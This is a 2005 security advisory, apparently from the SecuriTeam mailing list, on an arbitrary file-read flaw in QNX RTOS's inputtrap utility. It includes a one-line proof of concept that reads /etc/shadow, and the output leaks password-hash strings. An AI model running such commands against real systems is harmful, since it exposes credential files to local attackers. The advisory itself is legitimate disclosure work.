[NEWS] QNX RTOS inputtrap Arbitrary File Reading

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  QNX RTOS inputtrap Arbitrary File Reading
------------------------------------------------------------------------


SUMMARY

" <http://www.qnx.com/> QNX Neutrino realtime operating system (RTOS) sets 
the industry standard for reliability, fault tolerance, and scalability."

"inputtrap - Detect input devices and start the input manager."

Lack of proper permission checking allows local attackers to retrieve 
information from files used by inputtrap.

DETAILS

Vulnerable Systems:
 * QNX RTOS version 6.3
 * QNX RTOS version 6.1.0

Due to improper permissions checking, inputtrap allows administrative 
access to files anywhere in the disk.

Proof of Concept:
$ inputtrap -t /etc/shadow start
options: Unable to lookup root:21QjUKxP9gEJK:0:0:0 in modules table
options: Unable to lookup sandimas:91UzHxvt3x1n2:0:0:0 in modules table

Disclosure Timeline:
22 Feb 2005: Vulnerability detected
09 Jun 2005: Advisory sent to QNX;
10 Jun 2005: QNX contacted rfdslabs;
24 Aug 2005: Advisory sent to security mailing lists.


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Julio 
Cesar Fort.
The original article can be found at:  
<http://www.rfdslabs.com.br/advisories/qnx-advs-01-2005.txt> 
http://www.rfdslabs.com.br/advisories/qnx-advs-01-2005.txt



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.